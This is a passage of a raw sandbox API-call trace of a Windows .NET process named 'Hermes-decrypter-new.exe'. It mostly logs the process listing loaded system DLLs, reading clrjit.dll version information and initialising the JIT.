"c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0141.070] CoTaskMemFree (pv=0xeedc10) [0141.070] GetModuleInformation (in: hProcess=0x2f4, hModule=0x74320000, lpmodinfo=0x2ed7d58, cb=0xc | out: lpmodinfo=0x2ed7d58*(lpBaseOfDll=0x74320000, SizeOfImage=0x13000, EntryPoint=0x74326c40)) returned 1 [0141.071] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.071] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x74320000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0141.071] CoTaskMemFree (pv=0xeedc10) [0141.071] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.071] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x74320000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0141.071] CoTaskMemFree (pv=0xeedc10) [0141.071] GetModuleInformation (in: hProcess=0x2f4, hModule=0x742f0000, lpmodinfo=0x2ed9e64, cb=0xc | out: lpmodinfo=0x2ed9e64*(lpBaseOfDll=0x742f0000, SizeOfImage=0x2f000, EntryPoint=0x742fc000)) returned 1 [0141.071] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.071] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x742f0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0141.071] CoTaskMemFree (pv=0xeedc10) [0141.071] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.071] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x742f0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0141.072] CoTaskMemFree (pv=0xeedc10) [0141.072] GetModuleInformation (in: hProcess=0x2f4, hModule=0x742d0000, lpmodinfo=0x2edc07c, cb=0xc | out: lpmodinfo=0x2edc07c*(lpBaseOfDll=0x742d0000, SizeOfImage=0x18000, EntryPoint=0x742d8f30)) returned 1 [0141.072] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.072] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x742d0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="bcrypt.dll") returned 0xa [0141.072] CoTaskMemFree (pv=0xeedc10) [0141.072] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.072] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x742d0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")) returned 0x1e [0141.072] CoTaskMemFree (pv=0xeedc10) [0141.072] GetModuleInformation (in: hProcess=0x2f4, hModule=0x727b0000, lpmodinfo=0x2ede188, cb=0xc | out: lpmodinfo=0x2ede188*(lpBaseOfDll=0x727b0000, SizeOfImage=0x80000, EntryPoint=0x727b1180)) returned 1 [0141.073] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.073] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x727b0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0141.073] CoTaskMemFree (pv=0xeedc10) [0141.073] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.073] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x727b0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0141.073] CoTaskMemFree (pv=0xeedc10) [0141.073] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71dd0000, lpmodinfo=0x2ee02c8, cb=0xc | out: lpmodinfo=0x2ee02c8*(lpBaseOfDll=0x71dd0000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0141.073] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.073] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71dd0000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0141.073] CoTaskMemFree (pv=0xeedc10) [0141.073] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.073] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71dd0000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0141.074] CoTaskMemFree (pv=0xeedc10) [0141.074] GetModuleInformation (in: hProcess=0x2f4, hModule=0x71c30000, lpmodinfo=0x2ee2464, cb=0xc | out: lpmodinfo=0x2ee2464*(lpBaseOfDll=0x71c30000, SizeOfImage=0x194000, EntryPoint=0x0)) returned 1 [0141.074] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.074] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x71c30000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0141.074] CoTaskMemFree (pv=0xeedc10) [0141.074] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.074] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x71c30000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\5b307e2b9719b21749a8c73127ab5f45\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\5b307e2b9719b21749a8c73127ab5f45\\system.drawing.ni.dll")) returned 0x74 [0141.074] CoTaskMemFree (pv=0xeedc10) [0141.075] GetModuleInformation (in: hProcess=0x2f4, hModule=0x70f30000, lpmodinfo=0x2ee4630, cb=0xc | out: lpmodinfo=0x2ee4630*(lpBaseOfDll=0x70f30000, SizeOfImage=0xcf2000, EntryPoint=0x0)) returned 1 [0141.075] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.075] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x70f30000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0141.075] CoTaskMemFree (pv=0xeedc10) [0141.075] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.075] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x70f30000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\02d3b6022cc1ee466eb660dedcff59aa\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\02d3b6022cc1ee466eb660dedcff59aa\\system.windows.forms.ni.dll")) returned 0x80 [0141.075] CoTaskMemFree (pv=0xeedc10) [0141.075] GetModuleInformation (in: hProcess=0x2f4, hModule=0x76180000, lpmodinfo=0x2ee6820, cb=0xc | out: lpmodinfo=0x2ee6820*(lpBaseOfDll=0x76180000, SizeOfImage=0x6000, EntryPoint=0x76181460)) returned 1 [0141.075] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.075] GetModuleBaseNameW (in: hProcess=0x2f4, hModule=0x76180000, lpBaseName=0xeedc10, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0141.075] CoTaskMemFree (pv=0xeedc10) [0141.076] CoTaskMemAlloc (cb=0x804) returned 0xeedc10 [0141.076] GetModuleFileNameExW (in: hProcess=0x2f4, hModule=0x76180000, lpFilename=0xeedc10, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")) returned 0x1d [0141.076] CoTaskMemFree (pv=0xeedc10) [0141.076] CloseHandle (hObject=0x2f4) returned 1 [0141.175] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x19ca78 | out: phkResult=0x19ca78*=0x0) returned 0x2 [0141.175] RegCloseKey (hKey=0x80000002) returned 0x0 [0141.177] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", nBufferLength=0x105, lpBuffer=0x19ccf8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpFilePart=0x0) returned 0x38 [0141.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19d1ac) returned 1 [0141.178] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll"), fInfoLevelId=0x0, lpFileInformation=0x19d228 | out: lpFileInformation=0x19d228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x795c1cb6, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x795c1cb6, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x795c1cb6, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x7faa0)) returned 1 [0141.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19d1a8) returned 1 [0141.179] GetCurrentProcess () returned 0xffffffff [0141.180] GetCurrentProcess () returned 0xffffffff [0141.180] GetCurrentProcess () returned 0xffffffff [0141.181] GetCurrentProcess () returned 0xffffffff [0141.183] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", lpdwHandle=0x19d29c | out: lpdwHandle=0x19d29c) returned 0x814 [0141.184] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll", dwHandle=0x0, dwLen=0x814, lpData=0x2eea03c | out: lpData=0x2eea03c) returned 1 [0141.184] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19d270, puLen=0x19d26c | out: lplpBuffer=0x19d270*=0x2eea440, puLen=0x19d26c) returned 1 [0141.186] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea1c4, puLen=0x19d1ec) returned 1 [0141.186] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea22c, puLen=0x19d1ec) returned 1 [0141.186] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea268, puLen=0x19d1ec) returned 1 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea2f0, puLen=0x19d1ec) returned 1 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea328, puLen=0x19d1ec) returned 1 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea380, puLen=0x19d1ec) returned 1 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea3b0, puLen=0x19d1ec) returned 1 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x0, puLen=0x19d1ec) returned 0 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x2eea3ec, puLen=0x19d1ec) returned 1 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x19d1f0, puLen=0x19d1ec | out: lplpBuffer=0x19d1f0*=0x0, puLen=0x19d1ec) returned 0 [0141.187] VerQueryValueW (in: pBlock=0x2eea03c, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x19d1e4, puLen=0x19d1e0 | out: lplpBuffer=0x19d1e4*=0x2eea440, puLen=0x19d1e0) returned 1 [0141.187] VerLanguageNameW (in: wLang=0x409, szLang=0x19cf74, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0141.400] VirtualProtect (in: lpAddress=0x5310468, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x19e498 | out: lpflOldProtect=0x19e498*=0x4) returned 1 [0141.400] GetCurrentProcess () returned 0xffffffff [0141.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorjit.dll", cchWideChar=12, lpMultiByteStr=0x19d244, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorjit.dlleà£\x02¶¦\\\x15ðù¼sHç\x19", lpUsedDefaultChar=0x0) returned 12 [0141.550] LoadLibraryA (lpLibFileName="mscorjit.dll") returned 0x0 [0141.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="getJit", cchWideChar=6, lpMultiByteStr=0x19d244, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="getJit£\x02¶¦\\\x15ðù¼sHç\x19", lpUsedDefaultChar=0x0) returned 6 [0141.607] GetProcAddress (hModule=0x727b0000, lpProcName="getJit") returned 0x72803d60 [0141.639] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.639] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x400000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="Hermes-decrypter-new.exe") returned 0x18 [0141.639] CoTaskMemFree (pv=0xef0d18) [0141.639] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.696] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x400000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe")) returned 0x22 [0141.697] CoTaskMemFree (pv=0xef0d18) [0141.697] GetModuleInformation (in: hProcess=0xec, hModule=0x77bb0000, lpmodinfo=0x2f103a8, cb=0xc | out: lpmodinfo=0x2f103a8*(lpBaseOfDll=0x77bb0000, SizeOfImage=0x18e000, EntryPoint=0x0)) returned 1 [0141.697] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.697] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77bb0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0141.697] CoTaskMemFree (pv=0xef0d18) [0141.697] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.697] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77bb0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0141.698] CoTaskMemFree (pv=0xef0d18) [0141.698] GetModuleInformation (in: hProcess=0xec, hModule=0x75e90000, lpmodinfo=0x2f124ac, cb=0xc | out: lpmodinfo=0x2f124ac*(lpBaseOfDll=0x75e90000, SizeOfImage=0xd0000, EntryPoint=0x75ea06a0)) returned 1 [0141.698] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.698] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75e90000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="KERNEL32.DLL") returned 0xc [0141.698] CoTaskMemFree (pv=0xef0d18) [0141.698] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.698] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75e90000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.DLL" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0141.698] CoTaskMemFree (pv=0xef0d18) [0141.698] GetModuleInformation (in: hProcess=0xec, hModule=0x74ea0000, lpmodinfo=0x2f145c0, cb=0xc | out: lpmodinfo=0x2f145c0*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x1c2000, EntryPoint=0x74f8ff30)) returned 1 [0141.698] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.698] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74ea0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0141.698] CoTaskMemFree (pv=0xef0d18) [0141.698] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.698] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74ea0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0141.699] CoTaskMemFree (pv=0xef0d18) [0141.699] GetModuleInformation (in: hProcess=0xec, hModule=0x745d0000, lpmodinfo=0x2f166dc, cb=0xc | out: lpmodinfo=0x2f166dc*(lpBaseOfDll=0x745d0000, SizeOfImage=0x93000, EntryPoint=0x74604270)) returned 1 [0141.699] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.699] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x745d0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0141.699] CoTaskMemFree (pv=0xef0d18) [0141.699] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.699] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x745d0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0141.699] CoTaskMemFree (pv=0xef0d18) [0141.699] GetModuleInformation (in: hProcess=0xec, hModule=0x77920000, lpmodinfo=0x2f18814, cb=0xc | out: lpmodinfo=0x2f18814*(lpBaseOfDll=0x77920000, SizeOfImage=0xf3000, EntryPoint=0x7795a100)) returned 1 [0141.699] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.699] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77920000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0141.700] CoTaskMemFree (pv=0xef0d18) [0141.700] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.700] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77920000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0141.700] CoTaskMemFree (pv=0xef0d18) [0141.700] GetModuleInformation (in: hProcess=0xec, hModule=0x75c50000, lpmodinfo=0x2f1a918, cb=0xc | out: lpmodinfo=0x2f1a918*(lpBaseOfDll=0x75c50000, SizeOfImage=0x238000, EntryPoint=0x75d6e060)) returned 1 [0141.700] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.700] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75c50000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0141.700] CoTaskMemFree (pv=0xef0d18) [0141.700] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.700] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75c50000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0141.700] CoTaskMemFree (pv=0xef0d18) [0141.700] GetModuleInformation (in: hProcess=0xec, hModule=0x76000000, lpmodinfo=0x2f1ca24, cb=0xc | out: lpmodinfo=0x2f1ca24*(lpBaseOfDll=0x76000000, SizeOfImage=0x118000, EntryPoint=0x7602a3c0)) returned 1 [0141.701] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.701] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76000000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0141.701] CoTaskMemFree (pv=0xef0d18) [0141.701] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.701] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76000000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0141.701] CoTaskMemFree (pv=0xef0d18) [0141.701] GetModuleInformation (in: hProcess=0xec, hModule=0x74710000, lpmodinfo=0x2f1eb38, cb=0xc | out: lpmodinfo=0x2f1eb38*(lpBaseOfDll=0x74710000, SizeOfImage=0xc0000, EntryPoint=0x7473fb20)) returned 1 [0141.701] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.701] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74710000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0141.701] CoTaskMemFree (pv=0xef0d18) [0141.702] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.702] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74710000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0141.702] CoTaskMemFree (pv=0xef0d18) [0141.702] GetModuleInformation (in: hProcess=0xec, hModule=0x74680000, lpmodinfo=0x2f20c90, cb=0xc | out: lpmodinfo=0x2f20c90*(lpBaseOfDll=0x74680000, SizeOfImage=0x20000, EntryPoint=0x7468c9a0)) returned 1 [0141.702] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.702] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74680000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0141.702] CoTaskMemFree (pv=0xef0d18) [0141.703] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.703] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74680000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0141.703] CoTaskMemFree (pv=0xef0d18) [0141.703] GetModuleInformation (in: hProcess=0xec, hModule=0x74670000, lpmodinfo=0x2f22d9c, cb=0xc | out: lpmodinfo=0x2f22d9c*(lpBaseOfDll=0x74670000, SizeOfImage=0xa000, EntryPoint=0x74672a00)) returned 1 [0141.703] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.703] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74670000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0141.703] CoTaskMemFree (pv=0xef0d18) [0141.703] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.703] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74670000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0141.703] CoTaskMemFree (pv=0xef0d18) [0141.703] GetModuleInformation (in: hProcess=0xec, hModule=0x74da0000, lpmodinfo=0x2f24eb0, cb=0xc | out: lpmodinfo=0x2f24eb0*(lpBaseOfDll=0x74da0000, SizeOfImage=0x57000, EntryPoint=0x74ddde40)) returned 1 [0141.703] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.703] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x74da0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0141.704] CoTaskMemFree (pv=0xef0d18) [0141.704] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.704] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x74da0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0141.704] CoTaskMemFree (pv=0xef0d18) [0141.704] GetModuleInformation (in: hProcess=0xec, hModule=0x75fb0000, lpmodinfo=0x2f26fe4, cb=0xc | out: lpmodinfo=0x2f26fe4*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x41000, EntryPoint=0x75fc3400)) returned 1 [0141.704] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.704] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75fb0000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0141.704] CoTaskMemFree (pv=0xef0d18) [0141.704] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.704] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75fb0000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0141.704] CoTaskMemFree (pv=0xef0d18) [0141.704] GetModuleInformation (in: hProcess=0xec, hModule=0x75b70000, lpmodinfo=0x2f290f0, cb=0xc | out: lpmodinfo=0x2f290f0*(lpBaseOfDll=0x75b70000, SizeOfImage=0x21000, EntryPoint=0x75b76900)) returned 1 [0141.705] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.705] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x75b70000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0141.705] CoTaskMemFree (pv=0xef0d18) [0141.705] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.705] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x75b70000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0141.705] CoTaskMemFree (pv=0xef0d18) [0141.705] GetModuleInformation (in: hProcess=0xec, hModule=0x76290000, lpmodinfo=0x2f2b1f4, cb=0xc | out: lpmodinfo=0x2f2b1f4*(lpBaseOfDll=0x76290000, SizeOfImage=0x158000, EntryPoint=0x7634a9c0)) returned 1 [0141.705] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.705] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x76290000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd [0141.706] CoTaskMemFree (pv=0xef0d18) [0141.706] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.706] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x76290000, lpFilename=0xef0d18, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0141.706] CoTaskMemFree (pv=0xef0d18) [0141.706] GetModuleInformation (in: hProcess=0xec, hModule=0x77b30000, lpmodinfo=0x2f2d308, cb=0xc | out: lpmodinfo=0x2f2d308*(lpBaseOfDll=0x77b30000, SizeOfImage=0x79000, EntryPoint=0x77b44180)) returned 1 [0141.706] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.706] GetModuleBaseNameW (in: hProcess=0xec, hModule=0x77b30000, lpBaseName=0xef0d18, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0141.706] CoTaskMemFree (pv=0xef0d18) [0141.706] CoTaskMemAlloc (cb=0x804) returned 0xef0d18 [0141.706] GetModuleFileNameExW (in: hProcess=0xec, hModule=0x77b30000, lpFilename=0xef0d18, nSize=0x800 | out: 